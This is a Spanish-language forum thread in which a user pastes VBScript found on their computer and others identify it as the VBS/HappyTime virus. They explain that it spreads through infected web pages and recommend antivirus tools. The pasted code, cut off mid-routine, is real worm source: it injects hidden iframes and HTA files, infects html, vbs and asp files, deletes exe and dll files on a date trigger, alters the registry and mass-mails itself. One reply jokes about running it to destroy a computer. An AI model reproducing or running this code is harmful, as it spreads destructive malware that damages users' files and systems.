Alguien sabe que hace este pedazo de codigo

[.]

Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin& quot;, Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject&quot ;)
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 = Rg(Ks & "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else

[wBktEaM]

es el codigo fuente del archivo del virus Vbs/HappyTime !!!

<center><img src="http://galeon.com/wbk/lhz.gif" align="center" width="285" height="102"></center>

[mangandini]

Así es, es el código de un virus...

Grabalo como .vbs, ejecútalo, y dile adios a tu computadora

[.]

Que Bueno que alguien contesto pense que nadie iba a hacerlo

Escontre este codigo en mi computadora cuando un dia comenzo a querer mandar mails por todos lados
lo tenia en el directorio de Windows, pero todavia no se porque se me pego este virus si no he bajado ningun archivo, que acaso tambien se infectan las computadoras navegando??
Bueno espero respuestas de los programadores avanzados en este lenguaje
Saludos a toda la banda de los foros....

[wBktEaM]

con este virus si por que este virus infecta archivos htm y html !!!

Por ejemplo si entras a una web que este infectada con dicho virus y si tu antivirus no esta actualizado pues te infectas !!!

puedes bajar la vacuna de www.norton.com y www.pandasoftware.es

<center><img src="http://galeon.com/wbk/lhz.gif" align="center" width="285" height="102"></center>

[.]

O.k gracias wBktEaM aunque ya tengo el antivirus actulizado de mcafee

no leemos luego